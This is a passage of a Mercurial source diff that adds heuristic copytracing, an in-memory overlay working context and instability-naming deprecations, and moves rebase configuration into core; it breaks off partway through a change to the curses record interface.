+    default='paper',
+)
+coreconfigitem('web', 'templates',
+    default=None,
+)
+coreconfigitem('web', 'view',
+    default='served',
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
@@ -584,3 +1119,16 @@
 coreconfigitem('worker', 'numcpus',
     default=None,
 )
+
+# Rebase related configuration moved to core because other extension are doing
+# strange things. For example, shelve import the extensions to reuse some bit
+# without formally loading it.
+coreconfigitem('commands', 'rebase.requiredest',
+            default=False,
+)
+coreconfigitem('experimental', 'rebaseskipobsolete',
+    default=True,
+)
+coreconfigitem('rebase', 'singletransaction',
+    default=False,
+)
diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -8,6 +8,7 @@
 from __future__ import absolute_import
 
 import errno
+import filecmp
 import os
 import re
 import stat
@@ -25,6 +26,9 @@
     wdirnodes,
     wdirrev,
 )
+from .thirdparty import (
+    attr,
+)
 from . import (
     encoding,
     error,
@@ -103,12 +107,10 @@
         return self.manifest()
 
     def _matchstatus(self, other, match):
-        """return match.always if match is none
-
-        This internal method provides a way for child objects to override the
+        """This internal method provides a way for child objects to override the
         match operator.
         """
-        return match or matchmod.always(self._repo.root, self._repo.getcwd())
+        return match
 
     def _buildstatus(self, other, s, match, listignored, listclean,
                      listunknown):
@@ -204,44 +206,85 @@
         return self.rev() in obsmod.getrevs(self._repo, 'extinct')
 
     def unstable(self):
+        msg = ("'context.unstable' is deprecated, "
+               "use 'context.orphan'")
+        self._repo.ui.deprecwarn(msg, '4.4')
+        return self.orphan()
+
+    def orphan(self):
         """True if the changeset is not obsolete but it's ancestor are"""
-        return self.rev() in obsmod.getrevs(self._repo, 'unstable')
+        return self.rev() in obsmod.getrevs(self._repo, 'orphan')
 
     def bumped(self):
+        msg = ("'context.bumped' is deprecated, "
+               "use 'context.phasedivergent'")
+        self._repo.ui.deprecwarn(msg, '4.4')
+        return self.phasedivergent()
+
+    def phasedivergent(self):
         """True if the changeset try to be a successor of a public changeset
 
         Only non-public and non-obsolete changesets may be bumped.
         """
-        return self.rev() in obsmod.getrevs(self._repo, 'bumped')
+        return self.rev() in obsmod.getrevs(self._repo, 'phasedivergent')
 
     def divergent(self):
+        msg = ("'context.divergent' is deprecated, "
+               "use 'context.contentdivergent'")
+        self._repo.ui.deprecwarn(msg, '4.4')
+        return self.contentdivergent()
+
+    def contentdivergent(self):
         """Is a successors of a changeset with multiple possible successors set
 
         Only non-public and non-obsolete changesets may be divergent.
         """
-        return self.rev() in obsmod.getrevs(self._repo, 'divergent')
+        return self.rev() in obsmod.getrevs(self._repo, 'contentdivergent')
 
     def troubled(self):
+        msg = ("'context.troubled' is deprecated, "
+               "use 'context.isunstable'")
+        self._repo.ui.deprecwarn(msg, '4.4')
+        return self.isunstable()
+
+    def isunstable(self):
         """True if the changeset is either unstable, bumped or divergent"""
-        return self.unstable() or self.bumped() or self.divergent()
+        return self.orphan() or self.phasedivergent() or self.contentdivergent()
 
     def troubles(self):
-        """return the list of troubles affecting this changesets.
-
-        Troubles are returned as strings. possible values are:
-        - unstable,
-        - bumped,
-        - divergent.
+        """Keep the old version around in order to avoid breaking extensions
+        about different return values.
         """
+        msg = ("'context.troubles' is deprecated, "
+               "use 'context.instabilities'")
+        self._repo.ui.deprecwarn(msg, '4.4')
+
         troubles = []
-        if self.unstable():
-            troubles.append('unstable')
-        if self.bumped():
+        if self.orphan():
+            troubles.append('orphan')
+        if self.phasedivergent():
             troubles.append('bumped')
-        if self.divergent():
+        if self.contentdivergent():
             troubles.append('divergent')
         return troubles
 
+    def instabilities(self):
+        """return the list of instabilities affecting this changeset.
+
+        Instabilities are returned as strings. possible values are:
+        - orphan,
+        - phase-divergent,
+        - content-divergent.
+        """
+        instabilities = []
+        if self.orphan():
+            instabilities.append('orphan')
+        if self.phasedivergent():
+            instabilities.append('phase-divergent')
+        if self.contentdivergent():
+            instabilities.append('content-divergent')
+        return instabilities
+
     def parents(self):
         """return contexts for each parent changeset"""
         return self._parents
@@ -351,6 +394,7 @@
             reversed = True
             ctx1, ctx2 = ctx2, ctx1
 
+        match = match or matchmod.always(self._repo.root, self._repo.getcwd())
         match = ctx2._matchstatus(ctx1, match)
         r = scmutil.status([], [], [], [], [], [], [])
         r = ctx2._buildstatus(ctx1, r, match, listignored, listclean,
@@ -579,6 +623,9 @@
     def hidden(self):
         return self._rev in repoview.filterrevs(self._repo, 'visible')
 
+    def isinmemory(self):
+        return False
+
     def children(self):
         """return contexts for each child changeset"""
         c = self._repo.changelog.children(self._node)
@@ -616,7 +663,7 @@
             anc = cahs[0]
         else:
             # experimental config: merge.preferancestor
-            for r in self._repo.ui.configlist('merge', 'preferancestor', ['*']):
+            for r in self._repo.ui.configlist('merge', 'preferancestor'):
                 try:
                     ctx = changectx(self._repo, r)
                 except error.RepoLookupError:
@@ -943,10 +990,11 @@
 
         if linenumber:
             def decorate(text, rev):
-                return ([(rev, i) for i in xrange(1, lines(text) + 1)], text)
+                return ([annotateline(fctx=rev, lineno=i)
+                         for i in xrange(1, lines(text) + 1)], text)
         else:
             def decorate(text, rev):
-                return ([(rev, False)] * lines(text), text)
+                return ([annotateline(fctx=rev)] * lines(text), text)
 
         getlog = util.lrucachefunc(lambda x: self._repo.file(x))
 
@@ -1056,6 +1104,20 @@
             c = visit.pop(max(visit))
             yield c
 
+    def decodeddata(self):
+        """Returns `data()` after running repository decoding filters.
+
+        This is often equivalent to how the data would be expressed on disk.
+        """
+        return self._repo.wwritedata(self.path(), self.data())
+
+@attr.s(slots=True, frozen=True)
+class annotateline(object):
+    fctx = attr.ib()
+    lineno = attr.ib(default=False)
+    # Whether this annotation was the result of a skip-annotate.
+    skip = attr.ib(default=False)
+
 def _annotatepair(parents, childfctx, child, skipchild, diffopts):
     r'''
     Given parent and child fctxes and annotate data for parents, for all lines
@@ -1065,56 +1127,7 @@
     Additionally, if `skipchild` is True, replace all other lines with parent
     annotate data as well such that child is never blamed for any lines.
 
-    >>> oldfctx = 'old'
-    >>> p1fctx, p2fctx, childfctx = 'p1', 'p2', 'c'
-    >>> olddata = 'a\nb\n'
-    >>> p1data = 'a\nb\nc\n'
-    >>> p2data = 'a\nc\nd\n'
-    >>> childdata = 'a\nb2\nc\nc2\nd\n'
-    >>> diffopts = mdiff.diffopts()
-
-    >>> def decorate(text, rev):
-    ...     return ([(rev, i) for i in xrange(1, text.count('\n') + 1)], text)
-
-    Basic usage:
-
-    >>> oldann = decorate(olddata, oldfctx)
-    >>> p1ann = decorate(p1data, p1fctx)
-    >>> p1ann = _annotatepair([oldann], p1fctx, p1ann, False, diffopts)
-    >>> p1ann[0]
-    [('old', 1), ('old', 2), ('p1', 3)]
-    >>> p2ann = decorate(p2data, p2fctx)
-    >>> p2ann = _annotatepair([oldann], p2fctx, p2ann, False, diffopts)
-    >>> p2ann[0]
-    [('old', 1), ('p2', 2), ('p2', 3)]
-
-    Test with multiple parents (note the difference caused by ordering):
-
-    >>> childann = decorate(childdata, childfctx)
-    >>> childann = _annotatepair([p1ann, p2ann], childfctx, childann, False,
-    ...                          diffopts)
-    >>> childann[0]
-    [('old', 1), ('c', 2), ('p2', 2), ('c', 4), ('p2', 3)]
-
-    >>> childann = decorate(childdata, childfctx)
-    >>> childann = _annotatepair([p2ann, p1ann], childfctx, childann, False,
-    ...                          diffopts)
-    >>> childann[0]
-    [('old', 1), ('c', 2), ('p1', 3), ('c', 4), ('p2', 3)]
-
-    Test with skipchild (note the difference caused by ordering):
-
-    >>> childann = decorate(childdata, childfctx)
-    >>> childann = _annotatepair([p1ann, p2ann], childfctx, childann, True,
-    ...                          diffopts)
-    >>> childann[0]
-    [('old', 1), ('old', 2), ('p2', 2), ('p2', 2), ('p2', 3)]
-
-    >>> childann = decorate(childdata, childfctx)
-    >>> childann = _annotatepair([p2ann, p1ann], childfctx, childann, True,
-    ...                          diffopts)
-    >>> childann[0]
-    [('old', 1), ('old', 2), ('p1', 3), ('p1', 3), ('p2', 3)]
+    See test-annotate.py for unit tests.
     '''
     pblocks = [(parent, mdiff.allblocks(parent[1], child[1], opts=diffopts))
                for parent in parents]
@@ -1150,9 +1163,9 @@
             for (a1, a2, b1, b2), _t in blocks:
                 if a2 - a1 >= b2 - b1:
                     for bk in xrange(b1, b2):
-                        if child[0][bk][0] == childfctx:
+                        if child[0][bk].fctx == childfctx:
                             ak = min(a1 + (bk - b1), a2 - 1)
-                            child[0][bk] = parent[0][ak]
+                            child[0][bk] = attr.evolve(parent[0][ak], skip=True)
                 else:
                     remaining[idx][1].append((a1, a2, b1, b2))
 
@@ -1161,9 +1174,9 @@
         for parent, blocks in remaining:
             for a1, a2, b1, b2 in blocks:
                 for bk in xrange(b1, b2):
-                    if child[0][bk][0] == childfctx:
+                    if child[0][bk].fctx == childfctx:
                         ak = min(a1 + (bk - b1), a2 - 1)
-                        child[0][bk] = parent[0][ak]
+                        child[0][bk] = attr.evolve(parent[0][ak], skip=True)
     return child
 
 class filectx(basefilectx):
@@ -1392,6 +1405,9 @@
     def extra(self):
         return self._extra
 
+    def isinmemory(self):
+        return False
+
     def tags(self):
         return []
 
@@ -1431,8 +1447,9 @@
 
     def walk(self, match):
         '''Generates matching file names.'''
-        return sorted(self._repo.dirstate.walk(match, sorted(self.substate),
-                                               True, False))
+        return sorted(self._repo.dirstate.walk(match,
+                                               subrepos=sorted(self.substate),
+                                               unknown=True, ignored=False))
 
     def matches(self, match):
         return sorted(self._repo.dirstate.matches(match))
@@ -1614,6 +1631,9 @@
                               listsubrepos=listsubrepos, badfn=badfn,
                               icasefs=icasefs)
 
+    def flushall(self):
+        pass # For overlayworkingfilectx compatibility.
+
     def _filtersuspectsymlink(self, files):
         if not files or self._repo.dirstate._checklink:
             return files
@@ -1703,16 +1723,13 @@
                 # Even if the wlock couldn't be grabbed, clear out the list.
                 self._repo.clearpostdsstatus()
 
-    def _dirstatestatus(self, match=None, ignored=False, clean=False,
-                        unknown=False):
+    def _dirstatestatus(self, match, ignored=False, clean=False, unknown=False):
         '''Gets the status from the dirstate -- internal use only.'''
-        listignored, listclean, listunknown = ignored, clean, unknown
-        match = match or matchmod.always(self._repo.root, self._repo.getcwd())
         subrepos = []
         if '.hgsub' in self:
             subrepos = sorted(self.substate)
-        cmp, s = self._repo.dirstate.status(match, subrepos, listignored,
-                                            listclean, listunknown)
+        cmp, s = self._repo.dirstate.status(match, subrepos, ignored=ignored,
+                                            clean=clean, unknown=unknown)
 
         # check for any possibly clean files
         fixup = []
@@ -1721,7 +1738,7 @@
             s.modified.extend(modified2)
             s.deleted.extend(deleted2)
 
-            if fixup and listclean:
+            if fixup and clean:
                 s.clean.extend(fixup)
 
         self._poststatusfixup(s, fixup)
@@ -1800,8 +1817,6 @@
         If we aren't comparing against the working directory's parent, then we
         just use the default match object sent to us.
         """
-        superself = super(workingctx, self)
-        match = superself._matchstatus(other, match)
         if other != self._repo['.']:
             def bad(f, msg):
                 # 'f' may be a directory pattern from 'match.files()',
@@ -1920,9 +1935,219 @@
         self._repo.wwrite(self._path, data, flags,
                           backgroundclose=backgroundclose)
 
+    def markcopied(self, src):
+        """marks this file a copy of `src`"""
+        if self._repo.dirstate[self._path] in "nma":
+            self._repo.dirstate.copy(src, self._path)
+
+    def clearunknown(self):
+        """Removes conflicting items in the working directory so that
+        ``write()`` can be called successfully.
+        """
+        wvfs = self._repo.wvfs
+        f = self._path
+        wvfs.audit(f)
+        if wvfs.isdir(f) and not wvfs.islink(f):
+            wvfs.rmtree(f, forcibly=True)
+        for p in reversed(list(util.finddirs(f))):
+            if wvfs.isfileorlink(p):
+                wvfs.unlink(p)
+                break
+
     def setflags(self, l, x):
         self._repo.wvfs.setflags(self._path, l, x)
 
+class overlayworkingctx(workingctx):
+    """Wraps another mutable context with a write-back cache that can be flushed
+    at a later time.
+
+    self._cache[path] maps to a dict with keys: {
+        'exists': bool?
+        'date': date?
+        'data': str?
+        'flags': str?
+    }
+    If `exists` is True, `flags` must be non-None and 'date' is non-None. If it
+    is `False`, the file was deleted.
+    """
+
+    def __init__(self, repo, wrappedctx):
+        super(overlayworkingctx, self).__init__(repo)
+        self._repo = repo
+        self._wrappedctx = wrappedctx
+        self._clean()
+
+    def data(self, path):
+        if self.isdirty(path):
+            if self._cache[path]['exists']:
+                if self._cache[path]['data']:
+                    return self._cache[path]['data']
+                else:
+                    # Must fallback here, too, because we only set flags.
+                    return self._wrappedctx[path].data()
+            else:
+                raise error.ProgrammingError("No such file or directory: %s" %
+                                             self._path)
+        else:
+            return self._wrappedctx[path].data()
+
+    def isinmemory(self):
+        return True
+
+    def filedate(self, path):
+        if self.isdirty(path):
+            return self._cache[path]['date']
+        else:
+            return self._wrappedctx[path].date()
+
+    def flags(self, path):
+        if self.isdirty(path):
+            if self._cache[path]['exists']:
+                return self._cache[path]['flags']
+            else:
+                raise error.ProgrammingError("No such file or directory: %s" %
+                                             self._path)
+        else:
+            return self._wrappedctx[path].flags()
+
+    def write(self, path, data, flags=''):
+        if data is None:
+            raise error.ProgrammingError("data must be non-None")
+        self._markdirty(path, exists=True, data=data, date=util.makedate(),
+                        flags=flags)
+
+    def setflags(self, path, l, x):
+        self._markdirty(path, exists=True, date=util.makedate(),
+                        flags=(l and 'l' or '') + (x and 'x' or ''))
+
+    def remove(self, path):
+        self._markdirty(path, exists=False)
+
+    def exists(self, path):
+        """exists behaves like `lexists`, but needs to follow symlinks and
+        return False if they are broken.
+        """
+        if self.isdirty(path):
+            # If this path exists and is a symlink, "follow" it by calling
+            # exists on the destination path.
+            if (self._cache[path]['exists'] and
+                        'l' in self._cache[path]['flags']):
+                return self.exists(self._cache[path]['data'].strip())
+            else:
+                return self._cache[path]['exists']
+        return self._wrappedctx[path].exists()
+
+    def lexists(self, path):
+        """lexists returns True if the path exists"""
+        if self.isdirty(path):
+            return self._cache[path]['exists']
+        return self._wrappedctx[path].lexists()
+
+    def size(self, path):
+        if self.isdirty(path):
+            if self._cache[path]['exists']:
+                return len(self._cache[path]['data'])
+            else:
+                raise error.ProgrammingError("No such file or directory: %s" %
+                                             self._path)
+        return self._wrappedctx[path].size()
+
+    def flushall(self):
+        for path in self._writeorder:
+            entry = self._cache[path]
+            if entry['exists']:
+                self._wrappedctx[path].clearunknown()
+                if entry['data'] is not None:
+                    if entry['flags'] is None:
+                        raise error.ProgrammingError('data set but not flags')
+                    self._wrappedctx[path].write(
+                        entry['data'],
+                        entry['flags'])
+                else:
+                    self._wrappedctx[path].setflags(
+                        'l' in entry['flags'],
+                        'x' in entry['flags'])
+            else:
+                self._wrappedctx[path].remove(path)
+        self._clean()
+
+    def isdirty(self, path):
+        return path in self._cache
+
+    def _clean(self):
+        self._cache = {}
+        self._writeorder = []
+
+    def _markdirty(self, path, exists, data=None, date=None, flags=''):
+        if path not in self._cache:
+            self._writeorder.append(path)
+
+        self._cache[path] = {
+            'exists': exists,
+            'data': data,
+            'date': date,
+            'flags': flags,
+        }
+
+    def filectx(self, path, filelog=None):
+        return overlayworkingfilectx(self._repo, path, parent=self,
+                                     filelog=filelog)
+
+class overlayworkingfilectx(workingfilectx):
+    """Wrap a ``workingfilectx`` but intercepts all writes into an in-memory
+    cache, which can be flushed through later by calling ``flush()``."""
+
+    def __init__(self, repo, path, filelog=None, parent=None):
+        super(overlayworkingfilectx, self).__init__(repo, path, filelog,
+                                                    parent)
+        self._repo = repo
+        self._parent = parent
+        self._path = path
+
+    def cmp(self, fctx):
+        return self.data() != fctx.data()
+
+    def ctx(self):
+        return self._parent
+
+    def data(self):
+        return self._parent.data(self._path)
+
+    def date(self):
+        return self._parent.filedate(self._path)
+
+    def exists(self):
+        return self.lexists()
+
+    def lexists(self):
+        return self._parent.exists(self._path)
+
+    def renamed(self):
+        # Copies are currently tracked in the dirstate as before. Straight copy
+        # from workingfilectx.
+        rp = self._repo.dirstate.copied(self._path)
+        if not rp:
+            return None
+        return rp, self._changectx._parents[0]._manifest.get(rp, nullid)
+
+    def size(self):
+        return self._parent.size(self._path)
+
+    def audit(self):
+        pass
+
+    def flags(self):
+        return self._parent.flags(self._path)
+
+    def setflags(self, islink, isexec):
+        return self._parent.setflags(self._path, islink, isexec)
+
+    def write(self, data, flags, backgroundclose=False):
+        return self._parent.write(self._path, data, flags)
+
+    def remove(self, ignoremissing=False):
+        return self._parent.remove(self._path)
+
 class workingcommitctx(workingctx):
     """A workingcommitctx object makes access to data related to
     the revision being committed convenient.
@@ -1935,14 +2160,12 @@
         super(workingctx, self).__init__(repo, text, user, date, extra,
                                          changes)
 
-    def _dirstatestatus(self, match=None, ignored=False, clean=False,
-                        unknown=False):
+    def _dirstatestatus(self, match, ignored=False, clean=False, unknown=False):
         """Return matched files only in ``self._status``
 
         Uncommitted files appear "clean" via this context, even if
         they aren't actually so in the working directory.
         """
-        match = match or matchmod.always(self._repo.root, self._repo.getcwd())
         if clean:
             clean = [f for f in self._manifest if f not in self._changedset]
         else:
@@ -2232,9 +2455,9 @@
         if reusable:
             # copy extra fields from originalfctx
             attrs = ['rawdata', 'rawflags', '_filenode', '_filerev']
-            for attr in attrs:
-                if util.safehasattr(originalfctx, attr):
-                    setattr(self, attr, getattr(originalfctx, attr))
+            for attr_ in attrs:
+                if util.safehasattr(originalfctx, attr_):
+                    setattr(self, attr_, getattr(originalfctx, attr_))
 
     def data(self):
         return self._datafunc()
@@ -2257,15 +2480,23 @@
     def __new__(cls, repo, originalctx, *args, **kwargs):
         return super(metadataonlyctx, cls).__new__(cls, repo)
 
-    def __init__(self, repo, originalctx, parents, text, user=None, date=None,
-                 extra=None, editor=False):
+    def __init__(self, repo, originalctx, parents=None, text=None, user=None,
+                 date=None, extra=None, editor=False):
+        if text is None:
+            text = originalctx.description()
         super(metadataonlyctx, self).__init__(repo, text, user, date, extra)
         self._rev = None
         self._node = None
         self._originalctx = originalctx
         self._manifestnode = originalctx.manifestnode()
-        parents = [(p or nullid) for p in parents]
-        p1, p2 = self._parents = [changectx(self._repo, p) for p in parents]
+        if parents is None:
+            parents = originalctx.parents()
+        else:
+            parents = [repo[p] for p in parents if p is not None]
+        parents = parents[:]
+        while len(parents) < 2:
+            parents.append(repo[nullid])
+        p1, p2 = self._parents = parents
 
         # sanity check to ensure that the reused manifest parents are
         # manifests of our commit parents
@@ -2322,9 +2553,50 @@
         for f in self._files:
             if not managing(f):
                 added.append(f)
-            elif self[f]:
+            elif f in self:
                 modified.append(f)
             else:
                 removed.append(f)
 
         return scmutil.status(modified, added, removed, [], [], [], [])
+
+class arbitraryfilectx(object):
+    """Allows you to use filectx-like functions on a file in an arbitrary
+    location on disk, possibly not in the working directory.
+    """
+    def __init__(self, path, repo=None):
+        # Repo is optional because contrib/simplemerge uses this class.
+        self._repo = repo
+        self._path = path
+
+    def cmp(self, fctx):
+        # filecmp follows symlinks whereas `cmp` should not, so skip the fast
+        # path if either side is a symlink.
+        symlinks = ('l' in self.flags() or 'l' in fctx.flags())
+        if not symlinks and isinstance(fctx, workingfilectx) and self._repo:
+            # Add a fast-path for merge if both sides are disk-backed.
+            # Note that filecmp uses the opposite return values (True if same)
+            # from our cmp functions (True if different).
+            return not filecmp.cmp(self.path(), self._repo.wjoin(fctx.path()))
+        return self.data() != fctx.data()
+
+    def path(self):
+        return self._path
+
+    def flags(self):
+        return ''
+
+    def data(self):
+        return util.readfile(self._path)
+
+    def decodeddata(self):
+        with open(self._path, "rb") as f:
+            return f.read()
+
+    def remove(self):
+        util.unlink(self._path)
+
+    def write(self, data, flags):
+        assert not flags
+        with open(self._path, "w") as f:
+            f.write(data)
diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -7,9 +7,14 @@
 
 from __future__ import absolute_import
 
+import collections
 import heapq
+import os
+
+from .i18n import _
 
 from . import (
+    match as matchmod,
     node,
     pathutil,
     scmutil,
@@ -137,7 +142,7 @@
 def _dirstatecopies(d):
     ds = d._repo.dirstate
     c = ds.copies().copy()
-    for k in c.keys():
+    for k in list(c):
         if ds[k] not in 'anm':
             del c[k]
     return c
@@ -182,8 +187,9 @@
     # optimization, since the ctx.files() for a merge commit is not correct for
     # this comparison.
     forwardmissingmatch = match
-    if not match and b.p1() == a and b.p2().node() == node.nullid:
-        forwardmissingmatch = scmutil.matchfiles(a._repo, b.files())
+    if b.p1() == a and b.p2().node() == node.nullid:
+        filesmatcher = scmutil.matchfiles(a._repo, b.files())
+        forwardmissingmatch = matchmod.intersectmatchers(match, filesmatcher)
     missing = _computeforwardmissing(a, b, match=forwardmissingmatch)
 
     ancestrycontext = a._repo.changelog.ancestors([b.rev()], inclusive=True)
@@ -201,7 +207,7 @@
     return cm
 
 def _backwardrenames(a, b):
-    if a._repo.ui.configbool('experimental', 'disablecopytrace'):
+    if a._repo.ui.config('experimental', 'copytrace') == 'off':
         return {}
 
     # Even though we're not taking copies into account, 1:n rename situations
@@ -304,8 +310,27 @@
 
 def mergecopies(repo, c1, c2, base):
     """
-    Find moves and copies between context c1 and c2 that are relevant
-    for merging. 'base' will be used as the merge base.
+    The function calling different copytracing algorithms on the basis of config
+    which find moves and copies between context c1 and c2 that are relevant for
+    merging. 'base' will be used as the merge base.
+
+    Copytracing is used in commands like rebase, merge, unshelve, etc to merge
+    files that were moved/ copied in one merge parent and modified in another.
+    For example:
+
+    o          ---> 4 another commit
+    |
+    |   o      ---> 3 commit that modifies a.txt
+    |  /
+    o /        ---> 2 commit that moves a.txt to b.txt
+    |/
+    o          ---> 1 merge base
+
+    If we try to rebase revision 3 on revision 4, since there is no a.txt in
+    revision 4, and if user have copytrace disabled, we prints the following
+    message:
+
+    ```other changed <file> which local deleted```
 
     Returns five dicts: "copy", "movewithdir", "diverge", "renamedelete" and
     "dirmove".
@@ -336,12 +361,49 @@
     if c2.node() is None and c1.node() == repo.dirstate.p1():
         return repo.dirstate.copies(), {}, {}, {}, {}
 
+    copytracing = repo.ui.config('experimental', 'copytrace')
+
     # Copy trace disabling is explicitly below the node == p1 logic above
     # because the logic above is required for a simple copy to be kept across a
     # rebase.
-    if repo.ui.configbool('experimental', 'disablecopytrace'):
+    if copytracing == 'off':
         return {}, {}, {}, {}, {}
+    elif copytracing == 'heuristics':
+        # Do full copytracing if only non-public revisions are involved as
+        # that will be fast enough and will also cover the copies which could
+        # be missed by heuristics
+        if _isfullcopytraceable(repo, c1, base):
+            return _fullcopytracing(repo, c1, c2, base)
+        return _heuristicscopytracing(repo, c1, c2, base)
+    else:
+        return _fullcopytracing(repo, c1, c2, base)
 
+def _isfullcopytraceable(repo, c1, base):
+    """ Checks that if base, source and destination are all no-public branches,
+    if yes let's use the full copytrace algorithm for increased capabilities
+    since it will be fast enough.
+
+    `experimental.copytrace.sourcecommitlimit` can be used to set a limit for
+    number of changesets from c1 to base such that if number of changesets are
+    more than the limit, full copytracing algorithm won't be used.
+    """
+    if c1.rev() is None:
+        c1 = c1.p1()
+    if c1.mutable() and base.mutable():
+        sourcecommitlimit = repo.ui.configint('experimental',
+                                              'copytrace.sourcecommitlimit')
+        commits = len(repo.revs('%d::%d', base.rev(), c1.rev()))
+        return commits < sourcecommitlimit
+    return False
+
+def _fullcopytracing(repo, c1, c2, base):
+    """ The full copytracing algorithm which finds all the new files that were
+    added from merge base up to the top commit and for each file it checks if
+    this file was copied from another file.
+
+    This is pretty slow when a lot of changesets are involved but will track all
+    the copies.
+    """
     # In certain scenarios (e.g. graft, update or rebase), base can be
     # overridden We still need to know a real common ancestor in this case We
     # can't just compute _c1.ancestor(_c2) and compare it to ca, because there
@@ -357,7 +419,7 @@
     # if we have a dirty endpoint, we need to trigger graft logic, and also
     # keep track of which endpoint is dirty
     dirtyc1 = not (base == _c1 or base.descendant(_c1))
-    dirtyc2 = not (base== _c2 or base.descendant(_c2))
+    dirtyc2 = not (base == _c2 or base.descendant(_c2))
     graft = dirtyc1 or dirtyc2
     tca = base
     if graft:
@@ -434,7 +496,7 @@
     renamedelete = {}
     renamedeleteset = set()
     divergeset = set()
-    for of, fl in diverge.items():
+    for of, fl in list(diverge.items()):
         if len(fl) == 1 or of in c1 or of in c2:
             del diverge[of] # not actually divergent, or not a rename
             if of not in c1 and of not in c2:
@@ -566,6 +628,110 @@
 
     return copy, movewithdir, diverge, renamedelete, dirmove
 
+def _heuristicscopytracing(repo, c1, c2, base):
+    """ Fast copytracing using filename heuristics
+
+    Assumes that moves or renames are of following two types:
+
+    1) Inside a directory only (same directory name but different filenames)
+    2) Move from one directory to another
+                    (same filenames but different directory names)
+
+    Works only when there are no merge commits in the "source branch".
+    Source branch is commits from base up to c2 not including base.
+
+    If merge is involved it fallbacks to _fullcopytracing().
+
+    Can be used by setting the following config:
+
+        [experimental]
+        copytrace = heuristics
+
+    In some cases the copy/move candidates found by heuristics can be very large
+    in number and that will make the algorithm slow. The number of possible
+    candidates to check can be limited by using the config
+    `experimental.copytrace.movecandidateslimit` which defaults to 100.
+    """
+
+    if c1.rev() is None:
+        c1 = c1.p1()
+    if c2.rev() is None:
+        c2 = c2.p1()
+
+    copies = {}
+
+    changedfiles = set()
+    m1 = c1.manifest()
+    if not repo.revs('%d::%d', base.rev(), c2.rev()):
+        # If base is not in c2 branch, we switch to fullcopytracing
+        repo.ui.debug("switching to full copytracing as base is not "
+                      "an ancestor of c2\n")
+        return _fullcopytracing(repo, c1, c2, base)
+
+    ctx = c2
+    while ctx != base:
+        if len(ctx.parents()) == 2:
+            # To keep things simple let's not handle merges
+            repo.ui.debug("switching to full copytracing because of merges\n")
+            return _fullcopytracing(repo, c1, c2, base)
+        changedfiles.update(ctx.files())
+        ctx = ctx.p1()
+
+    cp = _forwardcopies(base, c2)
+    for dst, src in cp.iteritems():
+        if src in m1:
+            copies[dst] = src
+
+    # file is missing if it isn't present in the destination, but is present in
+    # the base and present in the source.
+    # Presence in the base is important to exclude added files, presence in the
+    # source is important to exclude removed files.
+    missingfiles = filter(lambda f: f not in m1 and f in base and f in c2,
+                          changedfiles)
+
+    if missingfiles:
+        basenametofilename = collections.defaultdict(list)
+        dirnametofilename = collections.defaultdict(list)
+
+        for f in m1.filesnotin(base.manifest()):
+            basename = os.path.basename(f)
+            dirname = os.path.dirname(f)
+            basenametofilename[basename].append(f)
+            dirnametofilename[dirname].append(f)
+
+        # in case of a rebase/graft, base may not be a common ancestor
+        anc = c1.ancestor(c2)
+
+        for f in missingfiles:
+            basename = os.path.basename(f)
+            dirname = os.path.dirname(f)
+            samebasename = basenametofilename[basename]
+            samedirname = dirnametofilename[dirname]
+            movecandidates = samebasename + samedirname
+            # f is guaranteed to be present in c2, that's why
+            # c2.filectx(f) won't fail
+            f2 = c2.filectx(f)
+            # we can have a lot of candidates which can slow down the heuristics
+            # config value to limit the number of candidates moves to check
+            maxcandidates = repo.ui.configint('experimental',
+                                              'copytrace.movecandidateslimit')
+
+            if len(movecandidates) > maxcandidates:
+                repo.ui.status(_("skipping copytracing for '%s', more "
+                                 "candidates than the limit: %d\n")
+                               % (f, len(movecandidates)))
+                continue
+
+            for candidate in movecandidates:
+                f1 = c1.filectx(candidate)
+                if _related(f1, f2, anc.rev()):
+                    # if there are a few related copies then we'll merge
+                    # changes into all of them. This matches the behaviour
+                    # of upstream copytracing
+                    copies[candidate] = f
+
+    return copies, {}, {}, {}, {}
+
 def _related(f1, f2, limit):
     """return True if f1 and f2 filectx have a common ancestor
 
@@ -613,8 +779,8 @@
     limit = the rev number to not search beyond
     data = dictionary of dictionary to store copy data. (see mergecopies)
 
-    note: limit is only an optimization, and there is no guarantee that
-    irrelevant revisions will not be limited
+    note: limit is only an optimization, and provides no guarantee that
+    irrelevant revisions will not be visited
     there is no easy way to make this algorithm stop in a guaranteed way
     once it "goes behind a certain revision".
     """
@@ -694,7 +860,7 @@
                         data['incompletediverge'][sf] = [of, f]
                     return
 
-def duplicatecopies(repo, rev, fromrev, skiprev=None):
+def duplicatecopies(repo, wctx, rev, fromrev, skiprev=None):
     '''reproduce copies from fromrev to rev in the dirstate
 
     If skiprev is specified, it's a revision that should be used to
@@ -704,8 +870,8 @@
     '''
     exclude = {}
     if (skiprev is not None and
-        not repo.ui.configbool('experimental', 'disablecopytrace')):
-        # disablecopytrace skips this line, but not the entire function because
+        repo.ui.config('experimental', 'copytrace') != 'off'):
+        # copytrace='off' skips this line, but not the entire function because
         # the line below is O(size of the repo) during a rebase, while the rest
         # of the function is much faster (and is required for carrying copy
         # metadata across the rebase anyway).
@@ -715,5 +881,4 @@
         # actually be in the dirstate
         if dst in exclude:
             continue
-        if repo.dirstate[dst] in "nma":
-            repo.dirstate.copy(src, dst)
+        wctx[dst].markcopied(src)
diff --git a/mercurial/crecord.py b/mercurial/crecord.py
--- a/mercurial/crecord.py
+++ b/mercurial/crecord.py
@@ -1010,6 +1010,13 @@
     def _getstatuslinesegments(self):
         """-> [str]. return segments"""
         selected = self.currentselecteditem.applied
+        spaceselect = _('space: select')
+        spacedeselect = _('space: deselect')
+        # Format the selected label into a place as long as the longer of the
+        # two possible labels.  This may vary by language.
+        spacelen = max(len(spaceselect), len(spacedeselect))
+        selectedlabel = '%-*s' % (spacelen,
+                                  spacedeselect if selected else spaceselect)
         segments = [
             _headermessages[self.operation],
             '-',
@@ -1017,7 +1024,7 @@
             _('c: confirm'),
             _('q: abort'),
             _('arrow keys: move/expand/collapse'),
-            _('space: deselect') if selected else _('space: select'),
+            selectedlabel,
             _('?: help'),
         ]
         return segments
@@ -1433,6 +1440,17 @@
         except curses.error:
             pass
 
+    def commitMessageWindow(self):
+        "Create a temporary commit message editing window on the screen."
+
+        curses.raw()
+        curses.def_prog_mode()
+        curses.endwin()
+        self.commenttext = self.ui.edit(self.commenttext, self.ui.username())
+        curses.cbreak()
+        self.stdscr.refresh()
